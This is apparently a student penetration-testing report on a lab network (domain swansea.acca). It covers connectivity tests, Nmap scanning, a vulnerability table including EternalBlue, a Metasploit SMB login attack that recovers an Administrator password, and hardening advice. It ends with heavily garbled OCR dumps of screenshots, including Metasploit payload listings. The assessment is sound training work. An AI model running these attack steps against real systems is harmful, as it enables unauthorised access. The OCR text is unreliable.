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Task 1: Network Test
[bookmark: _Toc227458521]STEP 1: S-DC1 (Swansea Domain Controller) IP Configuration Verification
The original network architecture of SOAC Inc. was validated to develop a security benchmarking. The purpose was to validate the functionality of the Site-to-Site VPN connection from Swansea to London. To validate the internal IP address (192.168.1.1) and point-to-point IP address (20.0.0.1), the ipconfig /all command was executed at S-DC1 by utilizing Windows Command Prompt.
[image: ]


The ICMP Echo Requests (Pings) were sent to all significant nodes once the verification of IP had been done. The information provided below reveals that the Swansea Domain Controller managed to communicate with both the remote nodes at London (192.168.2.1 and 192.168.2.10) and the local client (192.168.1.10). Thus, the traffic flow between different sites is properly managed through the tunnelling and routing."












STEP 2: S-DC1 Connectivity Verification (Pings to Local and Remote Nodes)
[bookmark: _Toc227458522]ping 192.168.1.10 (TO Swansea Client)
Here we can see the ping 192.168.1.10 successfully completed with a 100% response rate and 0% packet loss, demonstrating correct functionality.
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[bookmark: _Toc227458523]ping 192.168.2.1 (To London Server)

[image: ]

[bookmark: _Toc227458524]ping 192.168.2.10 (To London Client)
[image: ]



STEP 3: L-CD (London Server) IP Interface and Address Configuration
This screenshot demonstrates that the London network interfaces are configured with the correct IP addresses: 20.0.0.2 and 192.168.2.1. Due to all the problems or inconveniences I had in assigning the necessary addresses, I had to use the command ip addr add. You can also see the interfaces enp0s3 and enp0s8, and I also used the command ip link set up so that the cards can transmit data.
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[bookmark: _Toc227458525]STEP 4: L-CD Connectivity Verification (Pings to Remote Swansea Nodes)
[bookmark: _Toc227458526]Ping 20.0.01 Successful
After executing the ping -c 4 20.0.0.1, a 0% loss is successfully observed, confirming the direct link between the two servers Swansea and London. This confirms that both are active and connected.[image: ]
 











[bookmark: _Toc227458527]L-CD (London Server) IP Configuration and Remote Connectivity Verification
[bookmark: _Toc227458528]L-CD ping 192.168.1.1 Successful
At first, the ping, as seen in the image, showed 100% packet loss. Due to that failure, I had to make some technical adjustments to achieve a successful ping and ensure that the network functions correctly and can communicate with each other.
[image: ]

















[bookmark: _Toc227458529]L-CD (London Server) Local LAN Connectivity Verification
[bookmark: _Toc227458530]L-CD Ping 192.168.2.10 Successful
[image: ]
It can be concluded from this step of verification that the London Server (L-CD) and the ClientL1 connected locally on the 192.168.2.0/24 network can communicate with each other since the Ping command to 192.168.2.10 was successful, meaning that the local client machine can receive packets.










[bookmark: _Toc227458531]TASK 2 - SLIDE 1: Security OS Setup and Connectivity (Kali Linux)
Ip address screenshot 
The reason I used the ip address command was to confirm that the machine had the correct address assigned.

It's the first step for Kali to start communicating with the server. The error shown at the beginning in the screenshot is due to me making a mistake when entering the command, and that's why the system didn't recognise it, after which I proceeded to fix it.
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[bookmark: _Toc227458532]Kali Linux Connectivity Test to Swansea Gateway (192.168.1.1)
[bookmark: _Toc227458533]Ping -c 4 192.168.1.1 kali slide 2
The screenshot below shows that it was completed successfully. I used ping -c 4 to check the number of ping requests sent to the host. It’s a way to check the consistency and stability of the network. 
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[bookmark: _Toc227458534]Kali Linux Cross-Site Routing and Connectivity Verification
[bookmark: _Toc227458535]Slide 3 kali ping -c 4 192.168.2.1
In this step, I tried to communicate between the Swansea and London networks, and as seen in the screenshot, the first attempt failed (ping -c 4 192.168.2.1 pin: connect: network is unreachable). To solve the error, I used the Linux command called sudo ip route add default via, which worked satisfactorily as shown below.
[image: ]








[bookmark: _Toc227458536]TASK 2 - SLIDE 2: Information Gathering - Service and Port Scanning (Swansea.acca) 
Nmap was used to run a thorough scan on the Swansea Domain Controller (192.168.1.1) following the confirmation of connectivity. To determining the specific version of software that is installed, a service version scan (-sV) was run.
It turns out that there are many crucial ports, including HTTP (Port 80), HTTPS (Port 443), and SMB (Port 445) that are accessible through this server. Being able to spot Port 445 is a big deal for my evaluation since this port tends to be targeted if left unguarded. In addition, the scanning process proved that the server operates under Microsoft IIS 10.0.
[image: ]


[bookmark: _Toc227458537]TASK 2 - SLIDE 3: Vulnerability Identification and Categorization
Description The following Vulnerability were found after examining the reconnaissance data from the Nmap scan on the Swansea Domain Controller (192.168.1.1). These are grouped according to how they might affect the enterprise network’s Confidentiality, Integrity, and Availability (CIA trinity).


	ID
	Vulnerability Name
	Severity
	Port/Service
	Impact & Description

	V1
	SMB Signing Not Required
	HIGH
	445/TCP (SMB)
	The server does not enforce SMB signing. This allows a remote attacker to conduct Man-in-the-Middle (MitM) attacks and relay authentication to gain unauthorized access to the system.

	V2
	MS17-010 (EternalBlue)
	HIGH
	445/TCP (SMBv1)
	The target is running a version of SMBv1 vulnerable to remote code execution. An attacker could send a specially crafted packet to execute arbitrary code and take full control of the server.

	V3
	HTTP Cleartext Communication
	MEDIUM
	80/TCP (HTTP)
	The web server uses unencrypted HTTP. Sensitive information, including login credentials, is transmitted in plain text and can be intercepted using packet sniffing tools like Wireshark.

	V4
	IIS Version Disclosure
	MEDIUM
	80, 443 (IIS 10.0)
	The service banners explicitly reveal the Microsoft IIS version (10.0). This helps an attacker to narrow down their search for specific known exploits and vulnerabilities for this version.

	V5
	NetBIOS Name Leak
	LOW
	139/TCP (NetBIOS)
	The service reveals internal machine names and the domain name (SWANSEA). While not directly exploitable, this information is valuable for the initial stages of a targeted attack.

	**
	V6**
	Unrestricted ICMP Responses
	LOW
	ICMP (Ping)






[bookmark: _Toc227458538]TASK 3 - SLIDE 4: Exploitation and Post-Exploitation Highlights
[bookmark: _Toc227458539]Description: An active exploitation attempt was performed using the Metasploit Framework. Based on the reconnaissance data, an SMB credential validation attack was launched against the Swansea Domain Controller (192.168.1.1)
[image: ]
[bookmark: _Toc227458540]Evidence of Success:
As shown in the screenshot, the Metasploit module returned a [+] Success status for the user Administrator with the password NotebooK@123. This confirms that the Swansea Domain Controller is vulnerable to credential-based attacks due to a weak password policy.



[bookmark: _Toc227458541]Exploitation & Post-Exploitation Highlights
· Attack Vector: SMB Brute Force / Dictionary Attack on Port 445.
· Tool: Metasploit Framework (auxiliary/scanner/smb/smb_login).
· Outcome: SUCCESSFUL authentication. The system confirmed valid administrative credentials for the Domain Controller (Administrator:NotebooK@123).
· Barriers Encountered: Although the credentials were valid, a full remote shell (Meterpreter) was prevented by Windows Server 2022 security features, specifically User Account Control (UAC) and Service restrictions, which resulted in an "Access Denied" error during payload delivery.
· Ethical Conclusion: This confirms that while the password policy is weak, the operating system has active defences that mitigate full compromise.

[bookmark: _Toc227458542]TASK 4 - SLIDE 5: Implemented and Recommended Security Measures
· Enforce SMB Signing: The Server Message Block (SMB) protocol is used for sharing files and printers and for other network tasks like managing Windows computers remotely. To stop attackers from changing SMB data while it is being sent, SMB uses digital signing to protect the data.
· Implementation of digital signatures in high-security networks helps prevent the impersonation of client computers and servers, which is known as "session hijacking." However, improper usage of these policy settings may result in a failure to access data. [1]

· Disable SMBv1: Completely disable the legacy SMBv1 protocol on all systems to prevent  Eternal Blue (MS17-010) risks. The list of malwares including the exploits is long and includes Emotet, TrickBot, WannaCry, Retefe, NotPetya, and the Olympic Destroyer. [2]
· Password Policy Update: implement a password policy that requires changing or updating every three months using a specified number of characters, signs, numbers, and special symbols to make it as robust as possible Enable HTTPS: Install SSL/TLS certificates on the IIS Web Server (Swansea) and redirect all HTTP traffic to port 443 to ensure encrypted communication. [1]
· Restricted ICMP: ICMP is an important troubleshooting tool that can also be used to perform ICMP attacks on untrusted interfaces. For these interfaces, the ICMP traffic should be allowed only for specific hosts or subnets that are trusted by the Enterprise and should be denied for all other sources Banner Grabbing 
· Protection: Configure IIS and Debian services to hide specific version numbers in HTTP headers and service banners. HTTP headers are used to pass additional information with HTTP response or HTTP requests. The X-XSS-Protection in HTTP header is a feature that stops a page from loading when it detects XSS attacks. [3]


























[bookmark: _Toc227458543]Metasploit Scanning and Target  Analysis
This photo shows the moment I navigated the kali file system to locate the internal Metasploit module.
At the bottom of the terminal we can see that I'm in the path for the auxiliary modules: /usr/share/metasploit-framework/modules/auxiliary/scanner. The command executed open a list of folders containing tools for scanning various protocols. Key folders like SMB ( the same we used to search for the EternalBlue vulnerability), Telnet, Http, WinRM, and SSH are visible.
This is a crucial phace because demonstrates the consultant's ability to choose the appropriate tool based on the services previously found open with Nmap.
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[bookmark: _Toc227458544]Metasploit Exploration and Advanced Scan Configuration
The first screenshots show the process of how I navigated the internal folders of kali (/usr/share/metasploit-framework/...). I did this to locate the SMB module files. After this process I understand how the tool is structured and which scripts (rb) are being used. I used the command db_nmap to perform an aggressive scan. As we can see in the screenshots the data was successfully saved to the Metasploit database. Because of this I confirmed critical data about the target: the server is named S-DC, the domain is swansea.acca, and the operating system is windows Server 2022. we can see aswell the preparation phase of the smb_ms17 module. I manually configured the target's IP address (RHOSTS) and the IPaddress of my kali (LHOSTS), in the screenshot we can see an error because I made a mistake with the IP address so instead of my Ip address I putted a wrong IP address and for this i got the unreacheable error in the image but I fixed and posted the proof that was corrected and run without errors. [4]
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[bookmark: _Toc227458545]Armitage initialization
Here we can see that the terminal display the environment being prepared by starting the PostgreSQL database, a prerequisite for Metasploit to save the scan data. When the armitage command is executed, the system detects that the RPC server is not and launches a wizard. Selecting “YES” automates the connection between the database and the graphical interface. Thisstep marks the end of the manual configuration via commands and the beginning of visual audit management, allowing the security  consultant to visualize the network topology and launch exploits more efficiently. [4]
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127.8.0.1
NetBIOS over Tcpip. . . . . . . . Enabled
Ethernet adapter IntSwa:
Connection- specific DNS Suffix - =
Description . . - «+ + +«+ +« « - . : Intel(R) PRO/1@8@ MT Desktop Adapter #2
Physical Address. . . . . . . . . : ©8-80-27-93-3C-14
DHCP Enabled. . . - -« . . : No
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::6626:ce56:6832 :FBQHI?(PI‘FFFI‘I‘FG)
IPv4 Address. . . . . . . . . . . : 20.8.8.1(Preferred)
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NetBTOS over Tcpip. - - - - - - - : Enabled

C:\Users\Administrator>ping 192.168.1.18

Pinging 192.168.1.16 with 32 bytes of data:

Reply from 192.168.1.1@: bytes=32 time<lms TTL=128
Reply from 192.168.1.16: bytes—jz time=1ims TTL=128
Reply from 192.168.1.10: bytes=32 time<lims TTL=128
Reply from 192.168.1.1@: bytes-32 time<lms TTL-128

Ping statistics for 192.168.1.1@:

Packets: Sent = 4, Received = 4, Lost = @ (% loss),
Approximate round trip times in milli-seconds:
Minimum - ems, Maximum - ims, Average - @ms

C:\Users\Administrator>_

19:43
~ 0 de € 59.05,2026




image5.png
Ethernet Bdapter Intswa:

Connection-specific DNS Suffix -z
Description . . -« + +« « « « . @ Intel(R) PRO/1©©8 MT

Physical Address. . . . . . . . . : ©8-80-27-93-3C-14
DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

Link-local IPv6 Address . . . . . : feB8@::6626:ce56:6032:
IPv4 Address. . . . . . . . . . . : 28.8.8.1(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.8
Default Gateway . . . . . . . . . :

DHCPv6 IAID . . . . . . . . . . . : 168296487

DHCPv6 Client DUID. . . . . . . . : ©9-01-80-01-30-66-31-
DNS Servers . . . . . . . . . . . t ::1

NetBIOS over Tcpip. . . . . . . . : Enabled

C:\Users\Administrator>ping 192.168.1.18

Pinging 192.168.1.10 with 32 bytes of data:

Reply from 192.168.1.10: bytes=32 time<lms TTL=128
Reply from 192.168.1.10: bytes=32 time=1ms TTL=128
Reply from 192.168.1.10: bytes=32 time<ims TTL=-128
Reply from 192.168.1.10: bytes=32 time<lims TTL=128

Ping statistics for 192.168.1.10:

Packets: Sent - 4, Received - 4, Lost = @ (@% loss),
Approximate round trip times in milli-seconds:

Minimum - @ms, Maximum - 1ms, Average - ©ms

C:\Users\Administrator>ping 192.168.2.1

Pinging 192.168.2.1 with 32 bytes of data:

Reply from 192.168.2.1: bytes=32 time<ims TTL=64
Reply from 192.168.2.1: bytes=32 time-ims TTL=64
Reply from 192.168.2.1: bytes=32 time=1ims TTL=64
Reply from 192.168.2.1: bytes=32 time-1ms TTL-64

Ping statistics for 192.168.2.1:

Packets: Sent - 4, Received - 4, Lost = @ (% loss),
Approximate round trip times in milli-seconds:

Minimum = @ms, Maximum = 1ms, Average = ©ms

C:\Users\Administrator>

Desktop Adapter #2

eesfxi1z(Preferred)

06-88-00-27-1A-806-9D
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DHCPv6 Client -91-20-01-30-66-31-86-08-00-27-1A-80-9D
DNS Servers T -
NetBIOS over Tcpip. . . . . . . . : Enabled

DUID. - - - - - - - = @O

C:\Users\Administrator>ping 192.168.1.10

Pinging 192.168.1.10 with 32 bytes of data:

Reply from 192.168.1.18: bytes=32 time<ims TTL=128
Reply from 192.168.1.10: bytes=32 time=1ims TTL=128
Reply from 192.168.1.108: bytes-=32 time<ims TTL-128

Reply from 192.168.1.10: bytes=32 time<ims TTL=128

Ping statistics for 192.168.1.16:

Packets: Sent = 4, Received = 4, Lost = ® (8% loss),
Approximate round trip times in milli-seconds:

Minimum = ems, Maximum = ims, Average = ems
C:\Users\Administrator>ping 192.168.2.1 L3

Pinging 192.168.2.1 with 32 bytes of data:

Reply from 192.168.2.1: bytes-32 time<ims TTL-64
Reply from 192.168.2.1: bytes=32 time-1ms TTL-64
Reply from 192.168.2.1: bytes-32 time-1ms TTL-64
Reply from 192.168.2.1: bytes=32 time-1ms TTL=-64

Ping statistics for 192.168.2.1:

Packets: Sent = 4, Received - 4, Lost = @ (% loss),
Approximate round trip times in milli-seconds:
Minimum - @ms, Maximum - 1ms, Average - ©ms

C:\Users\Administrator>ping 192.168.2.186

Pinging 192.168.2.18 with 32 bytes of data:

Reply from 192.168.2.1@: bytes=32 time<ims TTL=63
Reply from 192.168.2.16: bytes=32 time=1ims TTL=63
Reply from 192.168.2.10: bytes=32 time=2ms TTL=63
Reply from 192.168.2.16: bytes=32 time-ims TTL=63

Ping statistics for 192.168.2.1@:

Packets: Sent = 4, Received = 4, Lost = @ (8% loss),
Approximate round trip times in milli-seconds:
Minimum = @ms, Maximum = 2ms, Average = 1ms

C:\Users\Administrator>_

19:51
~ 0 de & ,5,05,2026
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Password
Login incarrect

L-CD lc
Passwor:
Linux L-CD 6.12.48+debl3-amd6d #1 SMP PREEMPT_DYNAMIC Dehian 6.12.48-1 (2025-09-20) xB6_64

The programs included with the Debian GNU/Linux sustem are free software;
the exact distribution terms for each program are described in the
individual files in ‘usr/share/dac/+/copuright .

Debian GNU/Linux comes with ABSOLUTELY NO MARRANTY, to the extent
permitted by applicable law.
root@lL-Cco:~# ipp addr add
-bash: ipp: command not found
rootaL-co ip addr add 192.166.2.1/24 dev enpos
rootaL-Cco ip link set enpesd up
rootaL-co ip link set enposa up
FODtAL-CO:™# Ip addr add 2e.e.0.2/24 dev enpess
rootaL-co ip route add 192,166.1.0/24 via 20.0.0.1
Error: any valld prefix is expected rather than "192,168.1.0/249".
root@L-CO:™# ip route add 192.166.1.0/24 via 20.0.0.1
rootdl-Co:™# ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc nogueue state UNKNOWN group default glen leae
link/loophack co:ao:@o:o0:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host 1o
wvalid_1ft forever preferred_lft forever
inete /128 scope host noprefizroute
wvalid_1ft forever preferred_lft forever

.0.2/24 dev enpoas3

;T A

2: enposd: <BROADCAST,MULTICAST,UP,LOHER_UP> mtu 1508 gdisc fo_codel state UP group default glen 160e

link/ether oo:oo:27:27:68:c3 brd ff:ff:ffeffeffeff

altname enx<@B@G272768c3

inet leo.ctd dol 17716 bed 16906 200 200 scope global noprefixroute enpass
walid_lft forever preferred_lft forever

inet co.o.o.2/24 scope global enpas3
valid_lft forever preferred_lft forever

inets 7519874 o /64 scope link
valid_lft forever preferred_lft forever
enpast: <BROADCAST ,MULTIC T,UP,LOWER_UP> mtu 1586 gdisc fo_codel state UF groop defaolt glen 1ééa

linksether of brd ff:ffffffoffaff

altname enxo

i)

al
7alzel

B

e

inet 169.254.66.250/16 brd 169,20 scope global noprefixroute enpésg
valid_Lft forever preferred_Lft forever

inet 192.160.2.1/24 scope global enpas@
valld_Lft forever preferred_Lft forever

inete SO /64 scope Link
valid_Lft forever preferred_Lft forever

root@l -Co: ™4
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ineté /128 scope host nopref ixroute

valid_Lft forever preferred_Lft forever
2: enposi: <BROADCAST,MULTICAST,UP,LOMER_UP> mtu 1568 gdisc fo_codel state UF group default glen 1ees

link/ether aG:oa:27:27:68:c3 brd ffoffoffoffoffoiff

altname enxaBaaz72768CE

inet 169.254.101.177/16 brd 169.254.255.255 scope global noprefixroute enpasd
valid_Lft forever preferred_lft forever

inet 20.0.0.2/24 scope global enpos3
valid_Lft forever preferred_Lft forewver

LNets fe0o: 05750074 00572007 /64 scope Link
wvalld_Lft forever preferred_lft forever
3: enposA: <BROADCAST,MULTICAST,UR,LOWER_UP> mtu 1560 gdisc fo_codel state UF group default glen 1060
linksether eg:eo:27:al:2e:63 brd ffoffoffoffoffoff
altname en<050627al2e63
inet 189,259 25016 brd 169,254,255, 255 scope global noprefixroute enpess
valld_Lft forever preferred_Lft foreve
inet 192.166.2.1/24 scope global enpass
valld_lft forever preferred_Lft forever
lnete L0 /B4 scope Link
valld_1ft forever preferred_Lft forever
FOOtOL-CO:™% ping -c 4 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.

--- 192.166.1.1 ping statistics ---
packets transmitted, @ recelved, 1ee% packet loss, time 3@55ms

root@l-Co:™# plng 192.168.1.1
PING 192.166.1.1 (192.1668.1.1) S56(84) hytes of data.

C
192.168.1.1 ping statistics
30 packets transmitted, @ received, 100% packet loss, time 29678ms

rootdl-Co:"# ping Cc 4 192.1668.1.1
PING 192.168.1.1 (192.168.1.1) S56(84) butes of data.

192.168.1.1 ping statistics
4 packets transmitted, @ received, 100% packet loss, time 3049ms

root@l-Co:™# ping -c 4 28.0.0.

FINC a.a.a.1 (2a.6.8.1) 56(84) bytes of data.

64 butes from 2@.0.0.1: icmp ms

64 bytes from 2e.a.a.1: icmp ms

64 hutes from 26.6.0.1: icwp_se 1,505 ms

64 hutes from 20.6.0,1: icmp_sed=d4 tt1=128 time=0.556 ms
za.0,0.1 ping statistics

4 packets transmitted, 4 received, 8% packet loss, time 3olims

Ftt minsave/max/mdey = 8.505/1.552/8,019/1,069 ms

rootal-Co: =g
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walid_Lft forever preferred_lft forever
enposh: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1506 gdisc fo_codel state U group default glen 1009
linksether 0B:00:27:al:2e:63 brd ff:ff:ffff:ff:f
altname enxoROOZTa12263
inet 169,254 66.250/16 brd 169.254.255.255 scope global noprefixroute enpess
valid_1ft forever preferred_lft foreve
inet 192.166.2.1/24 scope global enpass
valid_1ft forever preferred_lft foreve
inets (oo cachionay i ana7509/64 scope link
valid_lft forever preferred_lft foreve
rootal-Co:™# ping -c 4 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) butes of data.

--- 192.168.1.1 ping statistics -
4 packets transmitted, o recelved, 1

¢ packet loss, time 3@55ms

root@l-Co:™# ping 192.168.1.1
PING 192.1668.1.1 (192.1668.1.1) 56(84) bytes of data.

“C
--- 192.168.1.1 ping statistics ---
36 packets transmitted, @ received, 1

% packet loss, time 29678ms

rootelL-Co:™# ping -c 4 192.1668.1.1
PING 192.168.1.1 (192.168.1.1) S6(84) butes of data.

192.168.1.1 ping statistics
4 packets transmitted, @ received, 100% packet loss, time 3049ms

root@L-Co:™% ping Cc 4 2a.a.0.1
PING 20.0.0.1 (20.0.0.1) S6(84) hutes of data.

64 hutes from 2e.0.a. icmp 28 tim .13 ms
64 hutes from 2o.@.@. icmp 28 tim L@z ms
64 butes from 20.6.0.1: icmp_seq=3 tt1=128 time=0.505 ms
64 hutes from 2a.a.a@. icmp_osen=4 ttl time=6.556 ms

2a.@.0.1 ping statistics
4 packets transmitted, 4 received, @% packet lo
rtt mindavg/max/midey = a.5a5/1.552/3.819/1. 869 ms

time 3ailims

root@l-Ch:™# ping -c 4 19 .1

PING 192.168.1.1 (192,168, S6(84) hutes of data.

64 butes from 192.1668.1.1: icmp_seq=1 ttl=127 time=1.97 ms
64 hutes from 192.168.1.1: icmp_seq=2 tt1=127 time=0.641 ms
64 butes from 192.1608.1.1: icmp_seq=3 ttl=127 time=0.609 ms
64 hutes from 192.168.1.1: icmp_seq=4 tt1=127 time=1 ms

192, 1668,1.1 ping statistics
4 packets transmitted, 4 received, 8% packet loss, time 3816ms
Ftt minsave/max/mdey = @,609/1,200/1,966/0,590 ms
root@l-Co: T





image10.png
root@lL-CO:™# ping -c 4 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(A4) butes of data.

--- 192.166.1.1 ping statistics -
¢ packets transmitted, @ received, 180% packet loss, time 385Sms
root@l-CO:™# ping 192.166.1.

PING 192.1668.1.1 (192.1668.1.1) S56(84) butes of data.

C
--- 192.168.1.1 ping statistics ---
36 packets transmitted, 6 recelved, 160

packet loss, time 29676ms

root@L-co:™# ping -c 4 192.168.1.1
PING 192.168.1.1 (192.168.1.1) S&6(84) hytes of data.

--- 192.168.1.1 ping statistics ---
packets transmitted, o recelved, 1

@% packet loss, time 3@49ms

root@lL-co:™# plng -c 4 26. 1

PING 20.@.0.1 (20.0.0.1) S6(84) butes of data.

64 bytes from 20 icmp_seq=1 tt1=126 time=2.13 ms
64 butes from 2e.a. icmp_seq=2 ttl=128 time=3.02 ms
64 butes from 20.0. ilcmp_seq=3 tt1=128 time=e0.505 ms
64 butes from 2e.e. icmp_seq=4 ttl=128 time=0.556 ms

220

20.0.0.1 ping statistics
4 packets transmitted, 4 received, @% packet loss, time 36llms
rtt minsavgsmaxsmdey = @.505/1.552/5.019/1.069 ms
root@L-Co:™% ping c 4 192.1668.1.1
PING 192.168.1.1 (192.168.1.1) S56(84) butes of data.
64 hutes from 192.168.1.1: icmp_seq=1 time=1.97 ms
64 hutes from 192.168. icmp_seq=2 time=6.641 ms
64 bytes from 192.16 lemp_oseq=3 time=a.609 ms
64 hutes from 19 & icmp_seo=4 time=1.59 ms

e

1
1
1

192.168.1.1 ping statistics
4 packets transmitted, 4 recei
rtt mindavg/max/mdey = a.669/1
root@L-CO:"# ping -c 4 19
FING 192. (198 68,
64 butes from 16 10
64 hytes from L6 la:

ed, 0% packet lo
10/1.966/0.590 ms

time 3ail6ms

of data.
time=1.59 ms
time=6.579 ms

64 hutes from 192.16 10z 4 time=1.83 ms

64 bytes from L6 la: time=a.914 ms
192, 1668,2.18 ping statistics

4 packets transmitted, 4 received, 8% packet loss, time 3807ms

Ftt minsave/max/mdey = @,579/1,027/1.590/0, 364 ms

rootal-Co: T

00:19





image11.png
kali [Running] -

acle VirtualBox

Search

lali@kali: ~

Session Actions Edit View Help
—(kali® kali)-[~

ould not. b: Run ‘sudo apt update’ to populate

command not found

—(kali® kali)-[~
$ ip addr

<LOOPBACK, UP, LOWER_UP> mtu nogueue state UNKNOWN group def

ault glen 1000

ink/loopback
inet 127.0.0.1/8

cope host noprefixroute
_ er pr d_1ft for
<BROADCAST ,MULTICAST, UP, LOWER_UP> mtu 1500 qdisc fq_codel state UP g
ult qlen 1000
nk/ether brd
inet 192.168.1.50/24 brd 192.168.1.255 scope global dynamic nopref

_1ft 690945sec preferred_Lft 690945se
inet6 fe80::a00:27ff:fe20:balk/64 scope link nopre
valid_lft forever preferred 1ft forever

—(kali® kali)-[~

b
r
N
@
i

2 ) &

1 (3] Right Ctr

23:01
01/04/2026




image12.png
)
@ kali Runni

Text Editor
Simple Text Editor

Session Actions Edit View Help

Link/loopback
pe host lo
er preferred_lft fore
28 scope host noprefixroute
er preferred_Lft for
MULTICAST,UP, LOWER_UP> mtu 1500 qdisc fq_cod

brd
inet 192.168.1.50/24 brd 192.168.1.255 scope global dynamic nop:
etho
id_1ft 690945se
inet6 fed:
lid_1ft forever preferred lft fore:

—(kali® kali)-[~

4 192
(84) bytes of data

bytes from 15 d tim

bytes from ~1: dcmp_ time=0

bytes from

bytes from

.168.1.1 ping statist
ets transmitted

o =i 8@ R Rright cul

a sl 2305
v (OAVER™) A O B D 00 G

Q Search 0 7] H

ps
@
a





image13.png
4 packets transmit
rtt min/avg/max/md

—(kali®kali)-[~
$ ping -c 4 192.168.2.
ping: connect: Network is unreachable

—(kali® kali)-[~
L$ sudo ip route add d
[sudo] password for kal

—(kali®kali)-[~
-$ ping

PING 192.

4 bytes

4 bytes fi

4 bytes fi

4 bytes fi

8 bytes of data
1 tt1=63 time=1.

a el

A el -707 ms
1 ttl

— 192.168.2.1 ping statist

4 packets transmitted, 4 received, 0% packet loss, time

015ms
rtt min/avg/max/ndev = 0. 011/4

0/1.445 ms

—(kali® kali)-[~

s = i @] & [#] right il
] & S g m s 2313

01/04/2026

Q

A
11]
A

A © ING D) @





image14.png
)
@ kali Runni

Q Search

Session Actions Edit View Help

80/tcp  open http soft IIS httpd 10.0
open kerberos-s s ndows Kerberos (se:
572)
msrpc Ft Windows RPC
netbios-ssn ft Windows netbios-ssn
1dap F s Active Directory LDAP
cca0., Site: Default
ssl/http [
microsoft-ds crosoft Windows Server 2008 R2 -
—ds (workgroup: SWANSEA)
kpassuds?
nte; osoft lpd
open ncacn_http Microsoft Windows RPC ov 1.0
open ldapssl?
/tcp open ldap ndows Active Directory LDAP
swansea.acca®., Site: Default-First-Site-Name)
9/tcp open globalcatLDAPssl?
http Microsoft HTTPAPI httpd 2. 0P/UPNP)
:00:27:1A:80:9D (PCS Systemtechnik/Oracle VirtualBox virtua

Host: S-DC; 05: Windows; CPE :microsoft :windows
detection performed. Please report any ir
map. org/submit

Nmap done: 1 IP address (1 host up)

—(kali® kali)-[~

N

2 ) &

1 (3] Right Ctr

23:25
01/04/2026




image15.png
)
@ kali Runni

wo | @ G

CESS_DENIED
ted, but no session was
) > ba
nner/smb/smb_
4 - The ¢ option within this module can o
Size: 4.1kB
Last modified: Mond: set RHOSTS 192.168.1.1

User Administrator
Pass Notebookal

- starting
- succ

sc
Bruteforce completed, 1

You can open an SMB session with these
set to true
module execution completed

] (3 [#] Right Cul

[ =i
’ Q Search % L | A - | v o V] ﬂ A~ © e D)@ 03/04;)21(;22




image16.png
BEapo-- | 23 [0

Session Actions Edit View Help

|_nbstat: NetBIOS name: S-DC, NetBIOS user: <unknown>, NetBIOS MAC
12:80:9d (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb-os—discovery:
[+] Nmap: | 0S: Windows Server 2022 Datacenter 20348 (Windows Server 2022 D
atacenter 6.3)
[*] Nmap: |  Computer name: S-DC
[*] Nmap: |  NetBIOS computer name: S-DC\xe0
[+] Nmap: |  Domain name: swansea.acca
[*] Nmap: |  Forest name: swansea.acca
[+] Nmap: |  FQDN: S-DC.swansea.acca
[+] Nmap: |_ System time: 2026-03-29T22:08:53-07:00
[+] Nmap: |_clock-skew: mean: -17d02h38mi4s, deviation: 3h30m0@s, median: -17
dosh23m1ss
[+] Nmap: | smb2-security-mode:
[+] Nmap: | 3:1:
[] Nmap: |_  Message signing enabled and required
[*] Nmap: | smb2-time:
[*] Nmap: | date: 2026-03-30T05:08:53
[*] Nmap: |_ start_date: N/A
[*] Nmap: | smb-security-mode:
[+] Nmap: |  account_used: guest
[+] Nmap: |  authentication_level: user
[+] Nmap: | challenge response: supported
[*] Nmap: |_ message_signing: required
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 0.58 ms 192.168.1.
[*] Nmap: 0S and Service detection performed. Please report any incorrect res
ults at https://nmap.org/submit/ .
[+] Nmap: Nmap done: 1 IP address (1 host up) scanned in 175.42 seconds
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gens/recog-3.1.23/1i
b/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+
and 7' was replaced with '+’ in regular expression
nsf >

A m04 | @ G
(]





image17.png
kali [Running] -

16°

acle Virtu

Q Search

lali@kali: ust/share/metasploit-frameworkimodules/auxiliary.

Session Actions Edit View Help

$ cd /usr/share/metasploit-framework/modul

—(kali® kali)-[/usr/share/metasploit-framework/modules/auxiliary

analyze
bnat
client
cloud
crauler
dos
example.py
npl
Filefornat
fuzzers
gather
parser
pdf
scanner
server
sniffer
spoof
sqli
voip
vsploit

kali® kali)-[/usr/share/metasploit-framework/modules/auxiliary

W e =282

1 (& [#] Right Ctr

11:36
16/04/2026




image18.png
kali [Running] -

ali@kali usr]share/metasploit-frameworkimodules auxiliary/scanner
Session Actions Edit View Help
sip

smb

smtp
snmp
sonicwall
ssh

ssl
steam
teamcity
telephony
telnet
teradata
tftp
ubiquiti
udp

upnp
varnish
vmuare
vnc
voice
vxworks
winrn
wproxy
wsdd

x11

—(kali® kali)-[/usr/share/metasploit-framework/modules/auxiliary/scanner

= ]

1 (3] Right Ctr

ey Q search wN’ﬂ L - P B P g EY o |V ﬂ 28 @ ENG. Ad) @ 16/04/121(;32




image19.png
kali [Running]

16°

Oracle Virtual

Q Search

skl

> NITEAN

lali@kali: us/share/metasploit-frameworkimodules/auxiliary/scanner/smb

Session Actions Edit View Help

winrm
wproxy
wsdd
x11

[ kali® kali)-[/usr/share/metasploit-framework/modules/auxiliary/scanner
L$ cd smb

[—(kali® kali)-[/usr/share/metasploit-framework/modules/auxiliary/scanner/sm
b

L$1s 1

impacket

pipe_auditor.

1 (3] Right Ctr

11:49
16/04/2026




image20.png
16°

Q Search

tion),
1675

ction)
1676

tion),
1677

ction),
1678

ction),
1679

tion
1680

ction)

ction),
16

Nt

Shell No.1
Actions Edit View Help

normal No  Windows x64
nd TCP Stager (RCh Stage Encryption, Metasm)
payload/windows/x64/vncinject/bind_tcp_uuid
normal No  Windows x64 VNC Ser
Bind TCP Stager with UUID Support (Windows x64)
payload/windows/x64/vncinj /reverse_http
normal No  Windows x64 VNC Ser
Windows x64 Reverse HTTP Stager (wininet)
